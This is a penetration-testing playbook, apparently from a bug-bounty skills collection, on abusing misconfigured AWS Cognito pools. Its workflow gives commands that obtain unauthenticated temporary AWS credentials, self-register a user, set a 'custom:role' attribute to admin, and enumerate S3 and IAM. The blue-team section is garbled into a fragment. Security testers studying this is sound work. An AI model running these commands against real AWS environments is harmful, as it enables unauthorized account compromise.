AWS Cognito Abuse

When to Use

• When testing applications hosted on AWS that utilize Amazon Cognito for user authentication (User Pools) and authorization (Identity Pools).
• To demonstrate how improper attribute mapping or overly permissive unauthenticated roles in Cognito can lead to full AWS account compromise.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying Cognito Parameters

# grep -r "us-east-1:[0-9a-fA-F-]*" .

Phase 2: Exploiting Identity Pools (Unauthenticated Access)

# aws cognito-identity get-id --identity-pool-id "us-east-1:xxxx-xxxx-xxxx" --region us-east-1

# aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyy-yyyy-yyyy" --region us-east-1

# export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

Phase 3: Exploiting User Pools (Self-Registration & Attributes)

# aws cognito-idp sign-up --client-id xxx --username testuser@hacker.com --password "Password123!"

# aws cognito-idp update-user-attributes --access-token yyy --user-attributes Name="custom:role",Value="admin"

Phase 4: Exploiting IAM Privileges

# aws sts get-caller-identity
aws s3 ls
aws iam list-roles

Decision Point 🔀

flowchart TD
    A[Discover Pool IDs ] --> B{Identity Pool Access? ]}
    B -->|Yes| C[Get Temporary AWS Credentials ]
    B -->|No| D[Analyze User Pool ]
    C --> E[Enumerate AWS Environment ]

🔵 Blue Team Detection & Defense

• Disable Unauthenticated Access: Attribute Write Permissions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Aws Cognito Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Notion Security: Cognito Security Misconfigurations
• AWS Docs: Amazon Cognito Authentication Flow